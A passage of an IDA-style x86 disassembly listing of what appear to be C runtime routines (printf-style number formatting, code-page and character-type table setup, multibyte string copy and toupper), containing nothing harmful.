		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41B674
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41B674
; ---------------------------------------------------------------------------


loc_41B63F:				; CODE XREF: sub_41B184+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41B658
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B658:				; CODE XREF: sub_41B184+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41B65D:				; CODE XREF: sub_41B184+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B669:				; CODE XREF: sub_41B184+2F7j
					; sub_41B184+40Ej
		or	[ebp+var_4], 40h


loc_41B66D:				; CODE XREF: sub_41B184+432j
		mov	[ebp+var_C], 0Ah


loc_41B674:				; CODE XREF: sub_41B184+491j
					; sub_41B184+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41B686
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B970
		pop	ecx
		jmp	short loc_41B6C7
; ---------------------------------------------------------------------------


loc_41B686:				; CODE XREF: sub_41B184+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41B6AD
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41B6A2
		call	sub_41B963
		pop	ecx
		movsx	eax, ax


loc_41B69F:				; CODE XREF: sub_41B184+527j
					; sub_41B184+539j
		cdq
		jmp	short loc_41B6C7
; ---------------------------------------------------------------------------


loc_41B6A2:				; CODE XREF: sub_41B184+510j
		call	sub_41B963
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41B69F
; ---------------------------------------------------------------------------


loc_41B6AD:				; CODE XREF: sub_41B184+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41B6BF
		call	sub_41B963
		pop	ecx
		jmp	short loc_41B69F
; ---------------------------------------------------------------------------


loc_41B6BF:				; CODE XREF: sub_41B184+531j
		call	sub_41B963
		pop	ecx
		xor	edx, edx


loc_41B6C7:				; CODE XREF: sub_41B184+500j
					; sub_41B184+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41B6E8
		test	edx, edx
		jg	short loc_41B6E8
		jl	short loc_41B6D7
		test	eax, eax
		jnb	short loc_41B6E8


loc_41B6D7:				; CODE XREF: sub_41B184+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41B6EC
; ---------------------------------------------------------------------------


loc_41B6E8:				; CODE XREF: sub_41B184+547j
					; sub_41B184+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41B6EC:				; CODE XREF: sub_41B184+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41B6F5
		and	edi, 0


loc_41B6F5:				; CODE XREF: sub_41B184+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41B704
		mov	[ebp+var_10], 1
		jmp	short loc_41B708
; ---------------------------------------------------------------------------


loc_41B704:				; CODE XREF: sub_41B184+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41B708:				; CODE XREF: sub_41B184+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41B712
		and	[ebp+var_1C], 0


loc_41B712:				; CODE XREF: sub_41B184+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41B718:				; CODE XREF: sub_41B184+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41B728
		mov	eax, esi
		or	eax, edi
		jz	short loc_41B763


loc_41B728:				; CODE XREF: sub_41B184+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_419870
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419800
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41B759
		add	ebx, [ebp+var_2C]


loc_41B759:				; CODE XREF: sub_41B184+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41B718
; ---------------------------------------------------------------------------


loc_41B763:				; CODE XREF: sub_41B184+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41B78E
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41B781
		test	eax, eax
		jnz	short loc_41B78E


loc_41B781:				; CODE XREF: sub_41B184+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41B78B:				; CODE XREF: sub_41B184+35Fj
					; sub_41B184+406j ...
		mov	[ebp+var_C], eax


loc_41B78E:				; CODE XREF: sub_41B184+21Bj
					; sub_41B184+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41B88C	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41B7C6
		test	bh, 1
		jz	short loc_41B7AB
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41B7BF
; ---------------------------------------------------------------------------


loc_41B7AB:				; CODE XREF: sub_41B184+61Fj
		test	bl, 1
		jz	short loc_41B7B6
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41B7BF
; ---------------------------------------------------------------------------


loc_41B7B6:				; CODE XREF: sub_41B184+62Aj
		test	bl, 2
		jz	short loc_41B7C6
		mov	[ebp+var_16], 20h


loc_41B7BF:				; CODE XREF: sub_41B184+625j
					; sub_41B184+630j
		mov	[ebp+var_1C], 1


loc_41B7C6:				; CODE XREF: sub_41B184+61Aj
					; sub_41B184+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41B7E6
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41B8FA
		add	esp, 10h


loc_41B7E6:				; CODE XREF: sub_41B184+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B92B
		add	esp, 10h
		test	bl, 8
		jz	short loc_41B818
		test	bl, 4
		jnz	short loc_41B818
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41B8FA
		add	esp, 10h


loc_41B818:				; CODE XREF: sub_41B184+67Bj
					; sub_41B184+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41B85F
		cmp	[ebp+var_C], 0
		jle	short loc_41B85F
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41B82D:				; CODE XREF: sub_41B184+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41F93C
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41B874
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41B92B
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41B82D
		jmp	short loc_41B874
; ---------------------------------------------------------------------------


loc_41B85F:				; CODE XREF: sub_41B184+698j
					; sub_41B184+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41B92B
		add	esp, 10h


loc_41B874:				; CODE XREF: sub_41B184+6BCj
					; sub_41B184+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41B88C ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41B8FA
		add	esp, 10h


loc_41B88C:				; CODE XREF: sub_41B184+68j
					; sub_41B184+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41B1B0


loc_41B89D:				; CODE XREF: sub_41B184+1Fj
					; sub_41B184+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B184	endp

; ---------------------------------------------------------------------------
off_41B8A5	dd offset loc_41B323	; DATA XREF: sub_41B184+6Er
		dd offset loc_41B1F9	; jump table for switch	statement
		dd offset loc_41B214
		dd offset loc_41B260
		dd offset loc_41B297
		dd offset loc_41B29F
		dd offset loc_41B2D4
		dd offset loc_41B367

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8C5	proc near		; CODE XREF: sub_41B184+1BDp
					; sub_41B184+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41B8DE
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41B8E9
; ---------------------------------------------------------------------------


loc_41B8DE:				; CODE XREF: sub_41B8C5+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B06F
		pop	ecx
		pop	ecx


loc_41B8E9:				; CODE XREF: sub_41B8C5+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41B8F6
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B8F6:				; CODE XREF: sub_41B8C5+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41B8C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8FA	proc near		; CODE XREF: sub_41B184+65Ap
					; sub_41B184+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41B928
		mov	esi, [esp+8+arg_C]


loc_41B90B:				; CODE XREF: sub_41B8FA+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41B8C5
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41B928
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41B90B


loc_41B928:				; CODE XREF: sub_41B8FA+Bj
					; sub_41B8FA+25j
		pop	edi
		pop	esi
		retn
sub_41B8FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B92B	proc near		; CODE XREF: sub_41B184+670p
					; sub_41B184+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41B95F
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41B941:				; CODE XREF: sub_41B92B+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41B8C5
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41B95F
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41B941


loc_41B95F:				; CODE XREF: sub_41B92B+Cj
					; sub_41B92B+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B92B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B963	proc near		; CODE XREF: sub_41B184+E5p
					; sub_41B184+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41B963	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B970	proc near		; CODE XREF: sub_41B184+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41B970	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B980	proc near		; CODE XREF: sub_41B184+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B98E	proc near		; CODE XREF: sub_41BD52+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41BB27	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4D9B24
		mov	[ebp+arg_0], esi
		jz	loc_41BB1B
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41BB11
		xor	edx, edx
		mov	eax, offset dword_43ADA8


loc_41B9C2:				; CODE XREF: sub_41B98E+41j
		cmp	[eax], esi
		jz	short loc_41BA38
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43AE98
		jl	short loc_41B9C2
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4231B0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41BB09
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4D9C40
		cmp	[ebp+var_18], 1
		mov	dword_4D9B24, esi
		rep stosd
		stosb
		mov	dword_4D9D44, ebx
		jbe	loc_41BAF7
		cmp	[ebp+var_12], 0
		jz	loc_41BACD
		lea	ecx, [ebp+var_11]


loc_41BA15:				; CODE XREF: sub_41B98E+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41BACD
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41BA26:				; CODE XREF: sub_41B98E+A8j
		cmp	eax, edx
		ja	loc_41BAC1
		or	byte_4D9C41[eax], 4
		inc	eax
		jmp	short loc_41BA26
; ---------------------------------------------------------------------------


loc_41BA38:				; CODE XREF: sub_41B98E+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4D9C40
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43ADB8[esi]


loc_41BA54:				; CODE XREF: sub_41B98E+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41BA87


loc_41BA5B:				; CODE XREF: sub_41B98E+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41BA87
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41BA80
		mov	edx, [ebp+var_4]
		mov	dl, byte_43ADA0[edx]


loc_41BA75:				; CODE XREF: sub_41B98E+F0j
		or	byte_4D9C41[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41BA75


loc_41BA80:				; CODE XREF: sub_41B98E+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41BA5B


loc_41BA87:				; CODE XREF: sub_41B98E+CBj
					; sub_41B98E+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41BA54
		mov	eax, [ebp+arg_0]
		mov	dword_4D9B3C, 1
		push	eax
		mov	dword_4D9B24, eax
		call	sub_41BB71
		lea	esi, dword_43ADAC[esi]
		mov	edi, offset dword_4D9B30
		movsd
		movsd
		pop	ecx
		mov	dword_4D9D44, eax
		movsd
		jmp	short loc_41BB16
; ---------------------------------------------------------------------------


loc_41BAC1:				; CODE XREF: sub_41B98E+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41BA15


loc_41BACD:				; CODE XREF: sub_41B98E+7Ej
					; sub_41B98E+8Bj
		push	1
		pop	eax


loc_41BAD0:				; CODE XREF: sub_41B98E+14Fj
		or	byte_4D9C41[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41BAD0
		push	esi
		call	sub_41BB71
		pop	ecx
		mov	dword_4D9D44, eax
		mov	dword_4D9B3C, 1
		jmp	short loc_41BAFD
; ---------------------------------------------------------------------------


loc_41BAF7:				; CODE XREF: sub_41B98E+74j
		mov	dword_4D9B3C, ebx


loc_41BAFD:				; CODE XREF: sub_41B98E+167j
		xor	eax, eax
		mov	edi, offset dword_4D9B30
		stosd
		stosd
		stosd
		jmp	short loc_41BB16
; ---------------------------------------------------------------------------


loc_41BB09:				; CODE XREF: sub_41B98E+51j
		cmp	dword_4D8754, ebx
		jz	short loc_41BB1F


loc_41BB11:				; CODE XREF: sub_41B98E+27j
		call	sub_41BBA4


loc_41BB16:				; CODE XREF: sub_41B98E+131j
					; sub_41B98E+179j
		call	sub_41BBCD


loc_41BB1B:				; CODE XREF: sub_41B98E+1Dj
		xor	eax, eax
		jmp	short loc_41BB22
; ---------------------------------------------------------------------------


loc_41BB1F:				; CODE XREF: sub_41B98E+181j
		or	eax, 0FFFFFFFFh


loc_41BB22:				; CODE XREF: sub_41B98E+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B98E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB27	proc near		; CODE XREF: sub_41B98E+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4D8754, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41BB47
		mov	dword_4D8754, 1
		jmp	dword_423060
; ---------------------------------------------------------------------------


loc_41BB47:				; CODE XREF: sub_41BB27+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41BB5C
		mov	dword_4D8754, 1
		jmp	dword_4231B4
; ---------------------------------------------------------------------------


loc_41BB5C:				; CODE XREF: sub_41BB27+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41BB70
		mov	eax, dword_4D8798
		mov	dword_4D8754, 1

locret_41BB70:				; CODE XREF: sub_41BB27+38j
		retn
sub_41BB27	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB71	proc near		; CODE XREF: sub_41B98E+118p
					; sub_41B98E+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41BB9E
		sub	eax, 4
		jz	short loc_41BB98
		sub	eax, 0Dh
		jz	short loc_41BB92
		dec	eax
		jz	short loc_41BB8C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41BB8C:				; CODE XREF: sub_41BB71+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41BB92:				; CODE XREF: sub_41BB71+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41BB98:				; CODE XREF: sub_41BB71+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41BB9E:				; CODE XREF: sub_41BB71+9j
		mov	eax, 411h
		retn
sub_41BB71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA4	proc near		; CODE XREF: sub_41B98E:loc_41BB11p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4D9C40
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4D9B30
		mov	dword_4D9B24, eax
		mov	dword_4D9B3C, eax
		mov	dword_4D9D44, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41BBA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBCD	proc near		; CODE XREF: sub_41B98E:loc_41BB16p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4D9B24
		call	dword_4231B0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41BD06
		xor	eax, eax
		mov	esi, 100h


loc_41BBF7:				; CODE XREF: sub_41BBCD+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41BBF7
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41BC48
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41BC16:				; CODE XREF: sub_41BBCD+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41BC3D
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41BC3D:				; CODE XREF: sub_41BBCD+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41BC16
		pop	edi
		pop	ebx


loc_41BC48:				; CODE XREF: sub_41BBCD+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4D9D44
		push	dword_4D9B24
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41F7CD
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4D9B24
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4D9D44
		call	sub_41E3D5
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4D9B24
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4D9D44
		call	sub_41E3D5
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41BCC3:				; CODE XREF: sub_41BBCD+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41BCE1
		or	byte_4D9C41[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41BCD9:				; CODE XREF: sub_41BBCD+127j
		mov	byte_4D9B40[eax], dl
		jmp	short loc_41BCFD
; ---------------------------------------------------------------------------


loc_41BCE1:				; CODE XREF: sub_41BBCD+FCj
		test	dl, 2
		jz	short loc_41BCF6
		or	byte_4D9C41[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41BCD9
; ---------------------------------------------------------------------------


loc_41BCF6:				; CODE XREF: sub_41BBCD+117j
		and	byte_4D9B40[eax], 0


loc_41BCFD:				; CODE XREF: sub_41BBCD+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41BCC3
		jmp	short loc_41BD4F
; ---------------------------------------------------------------------------


loc_41BD06:				; CODE XREF: sub_41BBCD+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41BD0D:				; CODE XREF: sub_41BBCD+180j
		cmp	eax, 41h
		jb	short loc_41BD2B
		cmp	eax, 5Ah
		ja	short loc_41BD2B
		or	byte_4D9C41[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41BD23:				; CODE XREF: sub_41BBCD+174j
		mov	byte_4D9B40[eax], cl
		jmp	short loc_41BD4A
; ---------------------------------------------------------------------------


loc_41BD2B:				; CODE XREF: sub_41BBCD+143j
					; sub_41BBCD+148j
		cmp	eax, 61h
		jb	short loc_41BD43
		cmp	eax, 7Ah
		ja	short loc_41BD43
		or	byte_4D9C41[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41BD23
; ---------------------------------------------------------------------------


loc_41BD43:				; CODE XREF: sub_41BBCD+161j
					; sub_41BBCD+166j
		and	byte_4D9B40[eax], 0


loc_41BD4A:				; CODE XREF: sub_41BBCD+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41BD0D


loc_41BD4F:				; CODE XREF: sub_41BBCD+137j
		pop	esi
		leave
		retn
sub_41BBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD52	proc near		; CODE XREF: sub_41E7A8+9p
					; sub_41E800+Dp ...
		cmp	dword_4D9D6C, 0
		jnz	short locret_41BD6D
		push	0FFFFFFFDh
		call	sub_41B98E
		pop	ecx
		mov	dword_4D9D6C, 1

locret_41BD6D:				; CODE XREF: sub_41BD52+7j
		retn
sub_41BD52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD6E	proc near		; CODE XREF: sub_417EE1+2Bp
					; sub_417EE1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4D9B3C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41BD92
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_417B00
		add	esp, 0Ch
		jmp	short loc_41BDF5
; ---------------------------------------------------------------------------


loc_41BD92:				; CODE XREF: sub_41BD6E+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41BDD7
		mov	ecx, [ebp+arg_4]


loc_41BD9D:				; CODE XREF: sub_41BD6E+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4D9C41[esi], 4
		mov	[edi], al
		jz	short loc_41BDC1
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41BDCD
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41BDD3
		jmp	short loc_41BDC7
; ---------------------------------------------------------------------------


loc_41BDC1:				; CODE XREF: sub_41BD6E+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41BDD7


loc_41BDC7:				; CODE XREF: sub_41BD6E+51j
		test	edx, edx
		jnz	short loc_41BD9D
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BD6E+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD3:				; CODE XREF: sub_41BD6E+4Fj
		and	byte ptr [edi-2], 0


loc_41BDD7:				; CODE XREF: sub_41BD6E+2Aj
					; sub_41BD6E+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41BDF2
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41BDF2:				; CODE XREF: sub_41BD6E+6Fj
		mov	eax, [ebp+arg_0]


loc_41BDF5:				; CODE XREF: sub_41BD6E+22j
		pop	edi
		pop	ebp
		retn
sub_41BD6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDF8	proc near		; CODE XREF: sub_4180B6+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4D8788, 0
		push	ebx
		jnz	short loc_41BE23
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41BEC1
		cmp	eax, 7Ah
		jg	loc_41BEC1
		sub	eax, 20h
		jmp	loc_41BEC1
; ---------------------------------------------------------------------------


loc_41BE23:				; CODE XREF: sub_41BDF8+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41BE56
		cmp	dword_43AD8C, 1
		jle	short loc_41BE43
		push	2
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41BE4E
; ---------------------------------------------------------------------------


loc_41BE43:				; CODE XREF: sub_41BDF8+3Dj
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41BE4E:				; CODE XREF: sub_41BDF8+49j
		test	eax, eax
		jnz	short loc_41BE56


loc_41BE52:				; CODE XREF: sub_41BDF8+AFj
		mov	eax, ebx
		jmp	short loc_41BEC1
; ---------------------------------------------------------------------------


loc_41BE56:				; CODE XREF: sub_41BDF8+34j
					; sub_41BDF8+58j
		mov	edx, off_43AB80
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41BE79
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41BE82
; ---------------------------------------------------------------------------


loc_41BE79:				; CODE XREF: sub_41BDF8+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41BE82:				; CODE XREF: sub_41BDF8+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4D8788
		call	sub_41E3D5
		add	esp, 20h
		test	eax, eax
		jz	short loc_41BE52
		cmp	eax, 1
		jnz	short loc_41BEB4
